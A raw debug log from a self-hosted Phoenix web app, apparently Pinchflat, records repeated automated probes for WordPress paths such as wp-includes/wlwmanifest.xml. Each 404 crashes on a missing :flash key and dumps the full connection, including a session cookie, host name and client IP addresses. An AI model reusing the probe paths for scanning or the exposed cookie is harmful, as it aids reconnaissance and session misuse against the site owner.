s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:20.029 [debug] QUERY OK source="settings" db=0.0ms idle=336.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:20.029 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 11:19:20.029 [error] #PID<0.7983.0> running PinchflatWeb.Endpoint (connection #PID<0.7982.0>, stream id 1) terminated Server: tubedock.hartupee.com:80 (http) Request: GET //test/wp-includes/wlwmanifest.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /test/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7982.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//test/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 33216}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE" }, halted: false, host: "tubedock.hartupee.com", method: "GET", owner: #PID<0.7983.0>, params: %{}, path_info: ["test", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tubedock.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.5"}, {"connection", "keep-alive"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE"}, {"host", "tubedock.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}, {"x-forwarded-for", "85.204.70.102"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "85.204.70.102"} ], request_path: "//test/wp-includes/wlwmanifest.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMU1x-f4klwe_68AADdD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7982.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//test/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 33216}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /test/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7982.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//test/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 33216}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3N (truncated) 11:19:20.199 [info] GET //media/wp-includes/wlwmanifest.xml 11:19:20.199 [debug] QUERY OK source="settings" db=0.1ms idle=506.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:20.199 [debug] QUERY OK source="settings" db=0.0ms idle=336.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:20.199 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 11:19:20.200 [error] #PID<0.7985.0> running PinchflatWeb.Endpoint (connection #PID<0.7984.0>, stream id 1) terminated Server: tubedock.hartupee.com:80 (http) Request: GET //media/wp-includes/wlwmanifest.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /media/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7984.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//media/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 33220}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE" }, halted: false, host: "tubedock.hartupee.com", method: "GET", owner: #PID<0.7985.0>, params: %{}, path_info: ["media", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tubedock.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.5"}, {"connection", "keep-alive"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE"}, {"host", "tubedock.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}, {"x-forwarded-for", "85.204.70.102"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "85.204.70.102"} ], request_path: "//media/wp-includes/wlwmanifest.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMU1x_Ik38qCSsoAAwiB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7984.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//media/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 33220}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /media/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7984.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//media/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 33220}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQA (truncated) 11:19:20.377 [info] GET //wp2/wp-includes/wlwmanifest.xml 11:19:20.377 [debug] QUERY OK source="settings" db=0.0ms idle=347.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:20.377 [debug] QUERY OK source="settings" db=0.0ms idle=347.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:20.377 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 11:19:20.377 [error] #PID<0.7987.0> running PinchflatWeb.Endpoint (connection #PID<0.7986.0>, stream id 1) terminated Server: tubedock.hartupee.com:80 (http) Request: GET //wp2/wp-includes/wlwmanifest.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp2/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7986.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//wp2/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 33226}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE" }, halted: false, host: "tubedock.hartupee.com", method: "GET", owner: #PID<0.7987.0>, params: %{}, path_info: ["wp2", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tubedock.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.5"}, {"connection", "keep-alive"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE"}, {"host", "tubedock.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}, {"x-forwarded-for", "85.204.70.102"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "85.204.70.102"} ], request_path: "//wp2/wp-includes/wlwmanifest.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMU1x_y4ve_eIVEAAwjB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7986.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//wp2/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 33226}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp2/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7986.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//wp2/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 33226}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2t (truncated) 11:19:20.545 [info] GET //site/wp-includes/wlwmanifest.xml 11:19:20.546 [debug] QUERY OK source="settings" db=0.0ms idle=346.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:20.546 [debug] QUERY OK source="settings" db=0.0ms idle=346.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:20.546 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 11:19:20.546 [error] #PID<0.7989.0> running PinchflatWeb.Endpoint (connection #PID<0.7988.0>, stream id 1) terminated Server: tubedock.hartupee.com:80 (http) Request: GET //site/wp-includes/wlwmanifest.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /site/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7988.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//site/wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 33242}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE" }, halted: false, host: "tubedock.hartupee.com", method: "GET", owner: #PID<0.7989.0>, params: %{}, path_info: ["site", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tubedock.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.5"}, {"connection", "keep-alive"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE"}, {"host", "tubedock.hartupee.com"}, 